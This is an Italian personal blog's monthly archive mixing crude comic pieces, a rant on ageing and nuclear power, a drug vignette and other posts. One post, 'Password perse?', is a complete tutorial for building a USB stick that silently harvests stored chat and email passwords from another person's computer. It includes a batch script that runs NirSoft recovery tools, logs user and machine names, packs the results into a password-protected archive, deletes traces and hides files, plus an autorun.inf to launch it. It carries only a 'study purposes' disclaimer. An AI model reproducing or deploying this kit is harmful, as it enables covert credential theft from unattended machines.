Archivio mensile:Febbraio 2010

Sarah la vergine

OPERA DEGRADATA – NESSUN DIRITTO

Come da Consulente Legale Informatico dell’Avv. Valentina Freudiani

LUCIANA LITTIZZETTO

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Notizia Polifemo. Quelle notizie che quando le senti ti si fondono gli occhi insieme e te ne viene uno solo. Da qualche giorno su Internet c’e’ un’offerta speciale. Non e’ un bottiglia di Chianti del ’97 e neanche un uovo cinese di quelli che stanno sottoterra e quando li tiri fuori sanno di piede. E’ un’offerta speciale un po’ particolare perche’ riguarda una jolanda. Ma non una qualsiasi. Una jolanda d’epoca. Mai usata. Euro quattro. La proprietaria e’ una signorina inglese di 52 anni, Sara, vergine, che guardandola ti viene anche da dire.. E te credo. Insomma. Questa madamin non ha mai visto passare nella sua stazione ne’ tegeve’ ne’ accelerati ne’ regionali e ha la galleria con le rotaie ancora nuove… L’ho detto con eleganza? Sto studiando «bon ton pour le porcade » a Lione… Insomma, cosa ha fatto la Sarah? Si e’ stufata di aspettare il principe azzurro e ha messo la sua jolanda in bacheca. Ha detto basta. La metto sul mercato, chi la vuole ha solo da chiedermela. Col certificato pure.. virgo intacta. Mai usata.Kmzero. Hai solo da spedire la garanzia. Solo che adesso i pretendenti arrivano a mazzi ma a lei non gliene va bene uno. Dice che non trova quello giusto.

Sarah, ascolta. Per quanto mi riguarda una puo’ restare vergine anche per tutta la vita, e’ una scelta che rende il compito per noi dispensatrici piu’ oneroso e fitto di impegni, ma si puo’ fare. Pero’ sappi che non ci sara’ mai quello giusto. Quello perfetto. Non l’ha trovato nessuna. Bisogna accontentarsi del meno peggio… e’ la materia stessa, del maschio, che e’ scadente… Dammi retta Sara. Dai il via alle danze. Guarda, arrivo perfino a dirti… tiragliela dietro.

Lo dico a tutte le ragazze che si conservano per l’uomo giusto. Risparmiare non paga. Guarda coi Bot. Metti da parte, metti da parte, e adesso ti danno lo 0,01 di interesse… non e’ che se la tieni li’ aumenta il capitale, anzi. Finisce che va fuori corso come le lire. Non solo ma poi, col tempo si deprezza. Ti tocca poi darla via in saldo… Non e’ una bottiglia di barolo che se la stappi e la scaraffi e’ una goduria, neanche una toma, che piu’ la lasci lì e piu’ diventa buona: e’ piu’ come il tartufo, prezioso, delicato, ma se lo lasci troppo in frigo prende di forte… Ma perche’ c’e’ sto mito della vergine? Perche’? Ma dove sta, il bello, mi chiedo. Anche per il maschio voglio dire… E’ come per le grandi opere. Chi ha dato il primo colpo di piccone al Monte Bianco non ha goduto. Chi se la spassa di piu’? Quelli che scavano la galleria o quelli che ci vanno avanti e indietro per andare a Chamonix a sciare? Persino la lavastoviglie quando e’ nuova ti dicono di farla girare un paio di volte a vuoto… Le tovaglie uguale. Bisogna prima metterle a bagno per togliere l’amido, se no restano dure… Pure il polipo, lo devi sbattere sugli scogli, prima di poterlo cucinare. Lo dico per i maschi che magari ci son rimasti male quando la fidanzata gli ha detto di essere di seconda mano. Ma vedetene i vantaggi! E’ come in montagna. Se uno non avesse già segnato il sentiero tu non riusciresti a salir su facilmente. Datemi retta, bei badola. Fare per primi l’amore con una e’ un po’ come entrare alla Rinascente in stagione di saldi.. si sta stretti e ti senti soffocare.

Recovery

Con questo programma gratuito Wondershare Office Recovery 1.5.0, che e’ gratis fino al 10 aprile potrete recuperare file che erroneamente avete o vi hanno cancellato dai supporti di memoria, chiavette USB, memory card, PC con eventuale formattazione del disco fisso, e potrete di recuperare i file in formato Microsoft Office e PDF con grande semplicita’.
La promozione, offerta da Wondershare permette di scaricare la licenza gratuita fino al prossimo 10 Aprile, e per usufruirne sara’ sufficiente collegarsi al sito ufficiale del produttore, cliccare sul link Get Free keycode

Password perse?

Ci risiamo vero? Il lupo perde il pelo ma non il vizio…Volere sapere come fanno a recuperare le password sui vostri palmari lasciati incustoditi? Bene e solo a livello studio leggete..

Il sito web Nirsoft
fornisce diversi programmi gratuiti per recuperare le password salvate nel computer che si sta usando nel caso in cui le si dimenticano. Attenzione e’ possibile pero’ usare questi programmi gratuiti per altri scopi, come rubare le password del computer che si sta utilizzando ma voi non lo farete vero?.

Se un malintenzionato ha accesso fisico al computer da cui rubare le password, ha a disposizione solo pochi secondi per compiere l’”operazione”. Da questa necessita’, ecco l’idea di usare una chiavetta USB. Con questo articolo, voglio semplicemente farvi vedere come sia facile creare una chiavetta USB che, inserita nel computer che ci interessa, salva le password trovate all’interno della chiavetta stessa.

Cosi’ facendo, basta collegare la chiavetta al computer che ci interessa, fare un semplice click e dopo qualche secondo staccare la chiavetta ed allontanarci dal computer con le password. Per realizzare questa chiavetta USB speciale, prima di tutto, create una cartella sul vostro desktop con il nome di Chiavetta. Questa cartella conterrà tutti i file che andranno copiati nella chiavetta.

Collegatevi alla pagina del sito web di Nirsoft per scaricare i programmi per recuperare le password. Vi consiglio di scaricare solo i programmi che vi recuperano le password che vi interessano. Se avete intenzione, ad esempio, di recuperare solo le password dei programmi di chat e quelli delle e-mail, scaricate i programmi MessenPass e Mail PassView.

Dopo aver scaricato i pacchetti con i programmi per recuperare le password, estraeteli nella cartella Chiavetta. In questa cartella lasciate solo i programmi veri e propri.. cancellate, in breve, gli altri file come il readme.txt o la guida di utilizzo del programma.

A questo punto, scaricate ed installate l’ultima versione di Winrar. Andate su questa pagina e fate click sulla voce WinRAR 3.60 (Graphic and command line). Dopo aver installato Winrar, andate su Start/Risorse del computer/C:/Programmi/WinRAR, copiate ed incollate il programma Rar.exe nella cartella del desktop Chiavetta.

Adesso aprite il Blocco Note, andando su Start/Tutti i programmi/Accessori/Blocco note, e scrivete la seguente riga per ogni programma che recupera le password che avete inserito nella cartella Chiavetta:

@nomedelprogramma.exe /sverhtml nomedelprogramma.html

Al termine del file scrivete, invece, le righe:

REM Scrittura del file di log
@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt
@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt
@echo Oggi e’ %DATE% e sono le %TIME% >> log.txt

REM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.html log.txt > nul

REM Eliminazione e celamento dei file usati
@del *.html
@del log.txt
@attrib +h *.exe
@attrib +h autorun.inf

In breve, quando avvierete questo piccolo programmino, le password verranno recuperate dal computer e salvate in diversi file .HTML. A questo punto, questi file HTML vengono inseriti in un archivio .RAR protetto da password. La password dell’archivio deve essere specificata al posto della parola PASSWORD.

La password e’ case sensitive.. fanno differenza, quindi, le lettere maiuscole e quelle minuscole. Alla fine i programmi utilizzati per recuperare le password vengono nascosti e le pagine HTML eliminate, poiche’ già inserite nell’archivio .RAR. Nel mio caso (programmi MessenPass e Mail PassView), ho scritto queste righe:

@mspass.exe /sverhtml mspass.html
@mailpv.exe /sverhtml mailpv.html

REM Scrittura del file di log
@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt
@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt
@echo Oggi e’ %DATE% e sono le %TIME% >> log.txt

REM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.html log.txt > nul

REM Eliminazione e celamento dei file usati
@del *.html
@del log.txt
@attrib +h *.exe
@attrib +h autorun.inf

Alla fine, salvate il file con il nome lancia.bat: andate semplicemente su File/Salva file con nome… e, nella finestra che si apre, scrivete lancia.bat in Nome file e selezionate Tutti i file in Salva come. Il file deve essere salvato nella Chiavetta.

Dopo aver creato il file lancia.bat, create il file autorun.inf sempre con il Blocco note:

[autorun]
open=lancia.bat
action=Preleva password

A questo punto avete finito. Nella cartella troverete i seguenti file:

Contenuto chiavetta

Dovete semplicemente copiare tutti i file nella cartella principale della vostra chiavetta USB per concludere la sua creazione. Se volete fare delle prove, dopo aver copiato i file, estraete ed inserite la chiavetta. Verra’ aperta la seguente finestra:

Chiavetta USB

Se selezionate la prima voce (Preleva password) e fate click sul tasto OK, le password del computer verranno salvate all’interno dell’archivio protetto .RAR. A questo punto, basta staccare la chiavetta ed andare in un computer sicuro con Winrar installato per leggere le password trovate.

ATTENZIONE ripeto che l’articolo e’ puramente a scopo di studio e l’autore non si ritiene responsabile per eventuali usi impropri. Rubare password che non siano le proprie non e’ legale.

Myspace Sfondi aggiuntivi

Ne avete le palle piene degli sfondi predefiniti di Myspace? Bene, collegatevi al sito www.pyzam.com e cliccate sulla voce “Myspace 2.0 layouts”. Selezionate una delle categorie disponibili, sfogliate tutte le proposte e, una volta trovato quello che vi piace, utilizzate la funzione “Preview” per visualizzarne l’anteprima.
Se il tema v gusta, cliccate sulla voce “Get the code” per prelevare il codice CSS da copiare in Myspace.
Nella pagina che si apre, nel riquadro “Embed Code” cliccate il tasto “Copy” per copiare il codice.
A questo punto, aprite il vostro Myspace e in “Profilo” selezionate la voce “Personalizza”.
Nella pagina di modifica premete “Seleziona tema” e selezionate il primo in alto a sinistra, con fondo bianco. Portatevi nella sezione “CSS” e incollate il codice del tema prelevato su Pyzam.
Infine, cliccate su “Pubblica” e poi su “Ok” per salvare le modifiche.

Che brutto diventare vecchi

– «L’e’ un brav fieu, ma l’e’ un po ciula!»;
tradotto, dal Milanese al dolce stil nuovo, suona così? E’ un bravo ragazzo, ma un poco sprovveduto.
Questa, l’ultima, diretta all’Adriano, il Celentano, dedito ormai, piu’ che al gorgheggio d’ugola, ai gargarismi del messianesimo, all’annunciazione rivelata, al “In verita’, in verita’ vi dico”.
El “Giuan”, (il Giovanni) e’ parte di quelli della “La banda del buco”;
beninteso, non sto parlando di un gruppo malavitoso, esperto nel carotaggio nei locali blindati delle banche.. sono i “capelli d’argento”, non una tribu’ indiana ma personaggi dal pelo candido, pensionati che ristagnano negli angolini dei piccoli bar, con gli occhialini sulla punta del naso, a leggere il giornale o a commentare del piu’ e del meno.. di come si stava meglio una volta, del rispetto e della religione – che non c’e’ piu’ – e delle stagioni, che non sono piu’ le stesse.
Nonostante quel loro dialogare, spesso concitato, il mettere a dura prova le coronarie, in un sincopato duellare sulla politica o per il calcio, fanno tenerezza.
Cercano lo sguardo, l’aggancio al loro simile, l’approvazione o meno, pur di scacciare la bestia peggiore… la solitudine.
Hanno tanto da dare, tanto da dire magari, il tutto, un poco datato.. un “software” – talvolta anche l’hardware – in cui, l’ultimo aggiornamento risale alle guerre puniche;
– E qui nasce il motto che non si va in pensione perche’ si e’ vecchi, ma si diventa vecchi perche’ si va in pensione.
Io, con loro, sto facendo pratica, nell’attesa che il tempo mi collochi tra quelle fila definitivamente, ad essere “Matusa”, come si diceva ai miei tempi, in onore del Patriarca biblico Matusalemme, l’annunciatore del Signore Iddio, che ebbe abbuono per tirare a campare quasi di un millennio, come cronache mormoravano;
oggi, che sei detto vecchio dopo i trent’anni, sei “rimba”, che sta per rimbambito.
Cominci a parlare da solo e, se non hai l’apparecchio sull’orecchio, neppure riesci a far credere di farlo perche’ sei al cellulare, con connessione “senza filo”;
senza filo io lo sono, ma spesso perche’ perdo quello del discorso.
Cosa stavo dicendo…i vecchi…il rimba…parlare da soli, ad alta voce, i buchi e i bachi nel cervello…ah, gia’!
– «Che brutt diventa’ vegg….ma l’e’ mei che crepa’ bagaiott», sentenzia “el Mariett”, (il Mario)
(traduco..che brutto invecchiare; ma e’ peggio morire ragazzotto).
El “Giuan”(il Giovanni), e gli altri come lui, non sono svaniti perche’, in effetti, stanno parlando con…i fantasmi!
– «Ussignur: anca el Giusepp l’e’ rimbambii, fora de melun!», (anche il Giuseppe e’ rimbambito, uscito di testa), dice el Pierin, (il Pierino).
Nossignore.
Gli anziani sono dei sopravvissuti e, quando tanto carichi di lune, hanno visto quelli meno fortunati di loro passare a migliore vita, cosi’ come quel mondo che li aveva cresciuti.
Con questa dimensione stanno parlando, quando li si sente bofonchiare da soli.. chi sorride, capira’, capitera’ lui di vedere il proprio orizzonte avvicinarsi, mentre dietro, il vuoto.
Difficilmente “i grigi” riconoscono e si riconoscono oggi, sentendosi – e lo sono – sopportati, a malapena tollerati, fastidiosi, noiosi, esclusi, in una realta’ in cui la saggezza, l’esperienza, frega un cazzo.
– «l futuro e’ nei giovani!»;lo e’ sempre stato no?..
Vero, ma…il nonnetto, dove lo metto, in quale cassonetto della raccolta differenziata?
Nel realta’ del palestrato, del mondo virtuale, della scatola vuota ma ben confezionata, degli urlatori, dei tuttologi, di rintronati “tronisti”, scemi ma belli, del “ti spacco la faccia perche’ sono piu’ grosso”, del tanta gente muore, ma basta schiacciare “new game” e ti ritornano in vita, ecco che el Giuan, el Mariett, el Pierin e – prossimamente – el Giusepp, devono rasentare i muri, che altrimenti il mondo che corre gli “rampega”, (gli si arrampica) sulle spalle, per scavalcare. Dove si va poi…boh! Chi cazzo lo sa..
Tutti corrono, un motivo ci sara’.. e nessuno a fermarsi, per comprendere origine di tanta frenesia, di tante falene che ruotano vorticosamente, incantate, attirate dalla luce entro la fiamma.
E allora, la zavorra, eccola, racchiusa nei recinti delle riserve loro assegnate… il bar, la chiesetta, il circolino della canasta e i loculi, piu’ che locali, che i vari Comuni assegnano loro, prima di traslocarli in quelli definitivi, al cimitero. Attimo di pausa per pensare…mmm
Allora via, a sparare le ultime cartucce a salve, a parlare tra loro e magari con uno paziente e rassegnato, preso all’amo e non ancora esperto nell’arte dello sgancio, ancora imberbe, ingenuo e implume.
– «L’e’ un brav fieu, ma l’e’ un po ciula!»; (E’ un bravo ragazzo ma pirla)..
Ma cosa ha combinato l’Adriano, per divenire argomento della “banda del buco”?Stavolta l’ha fatta grossa…
– «Come, non lo sai? C’ha scritto al giornale, incazzato come una bestia, perche’ stanno per fottere l’ambiente!»
– «Eh?»
– «Ma si.. sporcano, inquinano, vogliono fare le centrali nucleari…sua maesta’, la Terra, dilaniata dalle torture, sulla quale ci si affanna a dare l’ultimo colpo di grazia!»
O minchia… riecco che torna il profeta della penitenziaggine!
– «E’ piu’ facile che un cammello passi per la cruna di un ago, piuttosto che un ricco entri nel regno di Dio!», l’ha ripetuto e ammonisce, l’Adriano. (Si e’ scordato di essere superricco)..
– «La salvezza del mondo potrebbe venire soltanto da un’intesa mondiale dei ricchi […] ho letta un articolo riguardante la Conferenza sul clima in corso a Copenaghen.. si darebbe ai paesi ricchi, e non all’Onu, il controllo della lotta alle emissioni di gas serra.»
Ahi,ahi, ahi! Che grande cazzata..
– «Sancirebbe ai paesi ricchi il diritto di inquinare il doppio dei paesi in via di sviluppo, a non assumersi la responsabilita’ nella lotta ai cambiamenti climatici […] giustamente i poveri reclamano pari opportunita’ all’inquinamento, e quindi ad arricchirsi, come per quelli!»
E qui parte la filippica, peggio del Giovanni dell’Apocalisse, a portare sfiga e menare gramo, che “Il 2009 sia stato l’anno piu’ caldo della storia per l’Africa e l’Asia […] ondate torride nel Pacifico orientale […] la peggiore siccita’ degli ultimi cinquant’anni.. precipitazioni inferiori alla media anche in India e in Kenya, crisi alimentare., ondate straordinarie di caldo nelle regioni orientali dell’Oceano Pacifico e scompiglio nel clima mondiale”.
Al pari dei Maya, con il loro calendario che si ferma al 2012, lo iettatore s’allinea agli astri, nell’infausta somma del coronino del rosario, nello snocciolare le vie dolorose della nuova via Crucis.
A nulla vale parlare di cicli, di glaciazioni seguite a tempi piu’ caldi, se non bollenti, all’attivita’ o meno delle tempeste solari, dei miscugli, delle imprevedibili e incontrollabili miscele e misture delle correnti oceaniche e delle conseguenti temperature, del vulcanismo e di tante altre forze, cui comunque siamo costretti a sottometterci.
Come ogni buon masochista che si rispetti, l’incontro con un sadico come me e’ fonte di piacere;
– «Siamo noi la causa degli sconvolgimenti!», dice presentando le spalle alla frusta.
– «Mica vero.. e’ la natura che c’ha le sue cose, il suo ciclo», rispondo io, negando la nerbata;
e, senza la scudisciata, ognuno gode nel proprio, nell’orgasmo del «Fammi male!», e l’altro nella venuta del «No!»
Giusto in tempo per confermare la regola che vuole uno sia “Grand e ciula”, sprovveduto in scala di grandezza, parte il resto delle “celentaneidi”, a far imbufalire la cricca del Giuan.(Giovanni)
– «Quello che mi allarma tremendamente e’ l’ultimo obiettivo del governo Berlusconi: la costruzione di otto centrali nucleari […] la prima “centrale della morte” potrebbe sorgere nel Veneto, nei pressi di Chioggia dove mia sorella ha appena comperato la casa al mare perche’ e’ un posto dove ancora si respira la natura. Nel Veneto si costruisce l’ordigno mentre le scorie, che sono radioattive, si spediscono al Sud […] essendo il Nord piu’ ricco, gli spetta il privilegio di una morte istantanea, causata appunto dall’esplosione della Centrale […] il povero Sud […] una morte lenta e sofferente come solo il cancro sa dare.»
Ora, secondo me – sono a dar parer del mio, e non certo a credere di possedere verita’ rivelate, ma vorrei – provo – vedere il bicchiere anche mezzo pieno, nel sorseggiare parte del succo dell’Adriano nazionale, stemperandolo pero’ nella dura ed esigente realta’ d’oggi, che non vive di sola poesia, seppure questa confini la bestia nativa che portiamo in noi, nella rettiliana stratificazione del nostro cervello.
Siamo in un momento della nostra esistenza in cui possiamo solo agire di freno e frizione e acceleratore, ma non invertire la rotta..
miliardi di persone hanno bisogno sempre piu’ di succhiare energia, che e’ quella che serve a mantenere colture intensive, campi e allevamenti in misura soddisfacente da sfamare e soddisfare tante bocche…
Cina e India, che stanno uscendo dall’anticamera di fame e carestie, mai faranno retromarcia…
paesi arretrati economicamente, per superare la soglia della sopravvivenza, troveranno sfogo nel consumo del meno costoso.. il carbone.
La scorciatoia, prima di noi, l’hanno scelta Francia, Svizzera, Germania, Austria e chi piu’ ne ha, ne metta, dove centrali nucleari sono spuntate come funghi, a farci da contorno;
forse che la nostra dabbenaggine ed emotiva, piu’ che motivata rinuncia, ha portato qualcuno ad imitarci?
Comperiamo a caro prezzo l’energia senza che la nostra verginita’ abbia convinto alcuno, senza spostare di una spanna il pericolo.. “centrali della morte”, ordigni potenzialmente esplosivi e portatori di cancro ce li portiamo attorcigliati al collo, come una collana, pagando profumatamente questo cappio.
Non ho mai visto Adriano bello nostro andare in quei paesi, a cercare di far smantellare quegli ordigni, ma sicuramente anche in casa sua si accende la lampadina, illuminata da quegli interruttori esteri.
Tacco e punta… freno e frizione e acceleratore, ma la retromarcia ormai e’ inutilizzabile, come il tornare al carrettino trainato dall’asinello, alla stufa a legna e alla bicicletta.
Come diceva quella pubblicita’.. la potenza e’ nulla, senza il controllo, e certamente dobbiamo trovare modi per mediare, ma non adottando il “solo”, invece del “con”.
Il voler credere che bastino le pale eoliche e i pannelli solari e’ come pensare che i biscotti della Barilla escono veramente dal Mulino Bianco e che la Belene sia vergine (del mio).
Non potendo pretendere che i paesi che ne stanno uscendo, tornino a stringere la cinghia, altri sono a dover fare rinunce.
Siamo veramente a volere fare a meno della seconda o terza macchina e o telefonino, viaggi aerei o in nave – cazzo, se inquinano quelli! – per andare a fare la vacanzina da fighettoni a Cuba;
a tornare a fare la scampagnata ai pie’ del monte, sui lidi ferraresi, sull’Adda e simili amenita’ magari sul lago maggiore o garda.
O, come dice il prete, a rinunciare ai piaceri della carne, quella bisteccona al sangue, la cui filiera ciuccia enormi quantita’ di acqua, energia elettrica, carburante, cereali e granaglie?
Gia’ si fa fatica a rinunciare a un ponte, non quello di Messina o del dentista, ma inteso come a far festa, alla sigaretta, al caffe’ o a mettersi a dieta, figurarsi la playstation, l’ultimo televisore al plasma o il lettore MP4 touch screen! Wii Ipod etc..
Al vederlo, una ispezione a casa e nelle abitudini del Celentano non fanno presagire comportamenti da asceta…
casomai, di uno stile “armiamoci e partite”.
La mia ricetta per il tutto?
Non ce l’ho, ma posso dirmi d’accordo con quel sergente dei Marines a cui un ambasciatore, indossando il giubbotto antiproiettile, chiese:
– «E se mi sparano alla testa?»
rispose serafico:
– «Si abbassi, signore!»
Sicuro che, a leggermi fin qui non ce l’ha fatta nessuno e, se si’, qui vi perdo, aggiungo in coda un vecchio mio scritto, di anni fa, che intitolai “Il nido del filosofo”, a sottolineare di quanto sia facile parlare di sacrifici e cazzeggi a pancia piena.
Anche io ad essere…un brav fieu, ma un po ciula!(bravo ragazzo ma un poco pirla insomma).
Il nido del filosofo. (ovvero la propria dimora)
Finalmente a casa!
Abbandono la valigetta quasi volessi disfarmene e getto distrattamente le chiavi sul tavolo.
– Controllo il mio pc sempre acceso mentre gli altri quattro televisori stanno in st-by, accendo tutte le luci in quanto ho miriade di led accesi che danno fastidio, dalla lavatrice ipersilenziosa 45 programmi, al videoregistratore, i cordless, le lampade di emergenza sempre in funzione, l’antifurto, il fax e do un’occhiata al teleriscaldamento che in pieno inverno spara a 26 gradi costanti giorno e notte, al condizionatore di emergenza, al frigorifero ultima generazione anzi lo apro e una carezzevole frescura m’investe rendendolo piu’ voluttuoso, faccio scorrere a lungo l’acqua della doccia sbattendomi le palle del negretto che la va a prendere a 10 km da portare in spalla e contemporaneamente accendo il televisore a catturare qualcosa.. musica, informazioni, anche solo un leggero brusio di sottofondo che renda ancora piu’ confortevole il riconoscere la mia “tana”. Il refrigerio dell’acqua, il suo piacevole massaggio mi ritempra. Mi sento piu’ pulito, piu’ presentabile quasi – in quel piccolo momento paradisiaco – piu’ “umano”.
Nello stile “informale” – classica uniforme di pigiama e mogliettina – accendo un attimo il mio portatile a dare un piccolo controllo alla E-Mail poi, soddisfatto, scorro il giornale a completarne la lettura dopo averne solo spiato titoli e brevi introduzioni durante le pause caffe’ in ufficio.
Pianifico i miei impegni – il magico momento di organizzare una puntata in pizzeria– usando uno dei cinque cellulari che circolano in famiglia. Prendo le chiavi della macchina abbinandone il mazzo al modello ( eh, si: ne abbiamo due ). Ah, gia’.. devo ricordarmi di fare il pieno di benzina, sta macchina consuma come una bestia, penso sia attorno agli 8 con un litro.
Durante il tragitto maledico la mia smemoratezza, battendo nervosamente il palmo della mano sulla fronte.. dovevo mandare l’avviso per conferma della casa in montagna domani e il portiere aspetta la telefonata per riscaldare l’appartamento altrimenti saremo a solo 21 gradi di temperatura. Prendo nota sulla mia agenda elettronica. Bella la macchina che incrocio. Dovrei cambiarla.. la mia ha ormai quattro anni. Ecco, anche oggi mi sono dimenticato di svuotare i sacchetti della differenziata. Casa sembra diventata un magazzino.. scatolette e cartoni, bottigliette, scarti di frutta e verdura, imballaggi degli ultimi acquisti. Accidenti, quanta roba! Ed e’ passato solo un giorno dall’ultima volta che ho svuotato le pattumiere!
Speriamo che non siano piu’ giornate troppo fredde e all’avvio dei climatizzatori aggiuntivi non si finisca come l’altra volta con tutte quelle interruzioni di corrente. Senza la calcolatrice non ricordavo piu’ neppure come facevo prima le divisioni ed ho dovuto aspettare il ripristino della rete elettrica prima di terminare la mia denuncia dei redditi. Dopo, il rassicurante ronzio di tutto cio’ che sembrava morto, il riaccendersi di televisione e l’illuminarsi dei locali, l’avvio della lavatrice e il borbottio della calcolatrice. Eureka! Sembrava quasi che anche io mi fossi spento con loro!
Il breve attimo di smarrimento – il protrarsi l’avrei chiamato panico – e’ passato. L’energia di nuovo scorre.
Cosi’ “naturale”, cosi’ rassicurante.. come la paglia nel nido. Mi addormento cullato in quel benessere. Cosa farei senza tutto questo?! E’ duro pensare che tutto cio’ potrebbe finire.
Abbioccato sulla poltroncina ripensavo ai bei tempi delle manifestazioni contro la guerra in Vietnam, alle proteste contro l’inquinamento, la difesa delle foreste pluviali e la contestazione per la difesa delle minoranze. Senti me ne sbatto le palle e mi godo quello che ho oggi e al domani che cazzo me ne frega..chi vivra’ vedra’..dai Adriano continua con la lotta ma non rompermi i coglioni.

Bamba

Lui senza la bamba non scende dal letto. Lui senza la bamba non fa’ la doccia. Lui senza la bamba non sceglie i vestiti. Lui senza la bamba non esce di casa. Lui senza la bamba non entra nel bar dove fa colazione. Lui senza la bamba non tira fuori il telefono. Lui senza la bamba non chiama il compare che l’ha introdotto nel giro. Lui senza la bamba non si sognerebbe mai di presentarsi dal capo. Lui senza la bamba non sale in taxi. Lui senza la bamba non apre bocca. Lui senza la bamba lascia il tassista. Percio’, meno male che la bamba c’e’. Grazie alla bamba scende dal letto. Grazie alla bamba si fa la doccia. Grazie alla bamba si sceglie i vestiti. Grazie alla bamba esce di casa. Grazie alla bamba entra nel bar dove fa colazione. Grazie alla bamba tira fuori il telefono. Grazie alla bamba chiama il compare che l’ha introdotto nel giro. Grazie alla bamba sa di potersi presentare dal capo. Grazie alla bamba sale in taxi. Grazie alla bamba apre bocca. Grazie alla bamba riesce a dire al tassista dov’e’ che deve andare. E cioe’ dal capo. Non il Capo ma il capo inteso boss.
Una volta ai piedi del palazzo dove sta il capo, se non ci fosse la bamba non riuscirebbe a richiamare il compare che l’ha presentato al capo per farsi accompagnare dal capo. Ma meno male che la bamba c’e’. Una volta chiamato il compare che l’ha presentato al capo, il compare che l’ha presentato al capo scende a prenderlo, e si salutano. «Fighi, quanto siamo fighi!», gli dice il compare. «Fighi, fighi, siamo proprio fighi!», concorda lui, sempre grazie alla bamba. Il compare che l’ha presentato al capo lo porta su, in cima al palazzo, al cospetto del capo. «Fighi, quanto siamo fighi!», gli dice il capo. «Fighi, fighi, siamo proprio fighi!», ammette lui, sempre grazie alla bamba.
Poi discutono. L’idea del capo e’ semplice: incamerare piu’ soldi che si puo’. «Tu non ti preoccupare, conosco io i modi e gli snodi», gli dice il capo. «Figo», gli fa lui. Poi, al compare: «Tu che ne dici?». E il compare risponde: «Siamo proprio fighi. Percio’, che problema c’e’?» Lui a quel punto concorda.. «Gia’, che problema c’e’?» «Problema? Quale problema? » s’informa il capo, che gia’ sta pensando ad altro, cioe’ ai modi e agli snodi. «Nessun problema, siamo fighi», lo rassicura il compare. Lui allora rinfrancato si congeda. E prima ancora di scendere in strada, pensa alla bamba che lo aspetta. «Figo», dice, quando la trova.
l titolo spiega molto…ogni ragazzo tra i 14-15 anni in poi fa uso di sostanze come fumo, erba, utilizzate per “rullare” canne o sniffarle e usarle direttamente. Molto spesso pero’, alcuni, o meglio dire troppi, vanno oltre tutto cio, sfociando nelle strade della droga, piu’ comunemente conosciuta come Bamba, tra cocaina, eroina, chetamina e le Paste, ossia le pasticche di extasy…questo in molte città italiane, Milano, Napoli sono vendute legalmente…attenzione ragazzi datev un dito e vi prenderanno il braccio..mollate la BAMBA che sara’ una bomba e come tale vi esplodera’ nelle mani…

Primavera

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Ci siamo ecco i primi giorni di sole, in quest’inverno infinito e duro, aprono davvero il cuore spiace per quei paesi del sud che si trovano montagne che franano in casa. Magari, quando mettero’ il post saremo ancora sotto la neve, o la pioggia.. ma intanto sono bastati pochi giorni a farmi scorgere, qua e la’, i segni nell’aria di una primavera che non potra’ farsi attendere a lungo, almeno lo spero anche se avro’ una primavera in piu’ o un ain meno dipende dal bicchiere mezzo vuoto o mezzo pieno.

Uno dovrebbe godersela, la primavera. Rigenerarsi. Approfittarne per depurare lo spirito, avvelenato dalle tossine negative del buio, del freddo, della stagione morta. La primavera e’ un regalo stupendo che ogni anno riceviamo, quasi senza accorgercene, quasi senza apprezzarlo. E invece dovremmo viverla ogni volta come se fosse un’occasione unica, irripetibile, preziosa e magari l’ultima. Tanto piu’ che, prima o poi, lo sara’… Dovremmo viverla facendoci del bene.. amandoci… rispettandoci senza veleni. E cosi’ facendo saremmo poi capaci di amare e rispettare il nostro prossimo.

L’inferno quotidiano in cui ci tocca di vivere (e non faccio riferimento alla tragedia che sta capitando) – e nel quale facciamo, per lo piu’ inconsciamente, vivere quanti ci stanno attorno – ce lo costruiamo con le nostre mani e il nostro cuore, con la nostra incapacita’ di staccarci dai storielle miserabili, di superare le nostre frustrazioni, le nostre doppie personalita’, di guardare all’esistenza con gli occhi della moderazione, e forti dell’antidoto del ridicolo. Facciamo pagare a noi stessi e a chi incontriamo sul nostro cammino il prezzo – fuori mercato – dei nostri fallimenti, delle nostre inadeguatezze, delle nostre insoddisfazioni, delle nostre bugie, delle nostre illazioni. Attribuendone la responsabilita’ sempre e soltanto agli altri, a una «cupola » di figure negative jellanti e avverse sotto la quale comprendiamo, a seconda dei casi e delle convenienze, colleghi di lavoro e famigliari, amori in corso ed ex, entita’ vaghe e minacciose («i politici», «i potenti», o semplicemente «quelli li’» insomma quelle mezzi frasi che lasciano intendere di tutto e ci fanno cadere sempre piu’ in basso). Consolàti (accento sulla a e stavolta lo metto) anzi cambio e scrivo..accontentàti (niente altro accento sulla a).. in fondo per l’autoassoluzione che deriva dall’invenzione di tanti nemici. Incapaci di renderci conto di una piccola, banale verita’.. non c’e’ nulla di male a chiedere il massimo alla Vita.. a condizione di non serbarle rancore, se non ce lo concede, e di capire che prima o poi tutte le false verita’ verranno a galla mentre noi andremo sempre piu’ in fondo.

Felicita’ e Amicizia

Non so se a Voi e’ capitato di osservare il comportamento delle persone e qui entro in una banale vita quotidiana. Sono le 19 e in casa di amici si parla del piu’ e del meno in attesa di cena, il classico televisore acceso, nell’angolo il computer che gira 24 ore scaricando film e tra i presenti aleggia la classica noia rotta a sprazzi dal conduttore televisivo che presenta un quiz a premi a cui si deve rispondere esattamente scegliendo una delle quattro risposte e qui arriva il bello e cioe’ il non rispondendo di testa tua, ma il gareggiare con una delle possibilita’ di aiuto che consiste nel telefonare a casa ad amici dotati di enciclopedie e..computer.. Qui scatta la competizione dello spettatore che al via si butta sul proprio pc per vedere se interrogando il motore di ricerca riesci ad individuare quale risposta dare.. Innanzitutto hai 30 secondi e ne perdi 5 salutando chi dall’altra parte scalpita, poi ho osservato che ne perdi altri dicendo come devi fare e con cosa devi cercare (nel mio caso ho sentito “cerca in wikypedia, quando potevano ampliare benissimo la ricerca con google e il tipo che si stava giocando 70.000€ difatti non ha ricevuto aiuto)..ad ogni modo scatta il meccanismo del “piu’ bravo) e difatti non ditemi che pure Voi che non c’entrate nulla, non avete digitato la domanda in rete per poter dire..ecco la risposta..non ditemi che non avete parlato al televisore dicendo “dai ..devi dire quella.. rimbambito/a”…Vabbe’ era solo un’introduzione all’amicizia/felicita’ e qui 